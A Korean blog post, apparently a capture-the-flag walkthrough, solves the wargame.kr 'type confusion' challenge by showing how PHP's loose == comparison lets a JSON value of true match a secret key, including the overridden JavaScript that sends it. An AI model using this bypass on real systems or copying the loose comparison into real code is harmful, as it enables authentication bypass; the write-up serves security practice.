본문 바로가기

보안공부/Wargame.kr 풀이

wargame.kr type confusion 풀이 - json

WARGAME.KR type confusion 풀이

json ]


오늘은 wargame.kr의 type confusion 문제를 풀어보자.


문제에 들어가면 다음과 같이 입력창 하나와 이 페이지의 소스코드를 준다.


우선 제공해준 Backend단의 코드를 한번 분석해보자.

<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
    exit();
 }
 if (isset($_POST['json'])) {
     usleep(500000);
     require("../lib.php"); // include for auth_code function.
    $json = json_decode($_POST['json']);
    $key = gen_key();
    if ($json->key == $key) {
        $ret = ["code" => true, "flag" => auth_code("type confusion")];
    } else {
        $ret = ["code" => false];
    }
    die(json_encode($ret));
 }

 function gen_key(){
     $key = uniqid("welcome to wargame.kr!_", true);
    $key = sha1($key);
     return $key;
 }
?>

우선 0.5초(500000 마이크로초)를 대기한 후, lib.php를 적재한 후 json형태로 넘겨받은 데이터를 파싱해 $json에 저장한다.

$key에 welcome to wargame.kr!_(랜덤 문자열)가 SHA1으로 암호화된 값을 대입해준다.

파싱된 JSON($json)에서 key값이 $key의 값과 같으면 flag를 출력해주고, 다를 경우 false로 응답해주는 $ret를 json 형태로 작성하여 응답해준다.


그럼 이제이 사이트에 있는 Javascript를 먼저 분석해보자.

var lock = false;
function submit_check(f){
	if (lock) {
		alert("waiting..");
		return false;
	}
	lock = true;
	var key = f.key.value;
	if (key == "") {
		alert("please fill the input box.");
		lock = false;
		return false;
	}

	submit(key);

	return false;
}

submit_check()함수는 입력값이 없을 경우에 alert() 함수를 통해 please fill the input box.를 띄워주고, 문제가 없으면 key값을 submit함수에 넣어 실행해준다.

function submit(key){
	$.ajax({
		type : "POST",
		async : false,
		url : "./index.php",
		data : {json:JSON.stringify({key: key})},
		dataType : 'json'
	}).done(function(result){
		if (result['code'] == true) {
			document.write("Congratulations! flag is " + result['flag']);
		} else {
			alert("nope...");
		}
		lock = false;
	});
}

submit()함수는 key라는 인자값을 가지며, ajax를 통해 리디렉션 없이 POST를 수행한다.

그리고 POST가 완료된 후 결과값중 code가 true인 경우, 플래그를 출력해주고, 아닐 경우 alert()함수를 통해 nope...를 출력해준다.


아무거나 치고 check를 누르니

우리가 분석한 값과 일치하는 결과가 나왔다.


그럼 이제 생각해보자.

PHP 에서 ==를 이용한 비교는 상대인자값이 true여도 참을 반환한다는데... 만약 우리가 처음 넣어주는 key값이 true라면?

function submit(key){
	$.ajax({
		type : "POST",
		async : false,
		url : "./index.php",
		data : {json:JSON.stringify({key: true})},
		dataType : 'json'
	}).done(function(result){
		if (result['code'] == true) {
			document.write("Congratulations! flag is " + result['flag']);
		} else {
			alert("nope...");
		}
		lock = false;
	});
}

위와 같이 console에 실행하여 submit()함수를 덮어쓰기 해보자.


submit() 함수를 덮어쓰기에 성공했으니 이제 아까와 같은 값을 넣어보자.


문제 풀이에 성공했다!

이 문제를 풀이하는데에는 http://php.net/manual/en/types.comparisons.php에 나온 PHP 비교표를 이용해 비교적 수월하게 해결했다.




WARGAME.KR type confusion 클리어!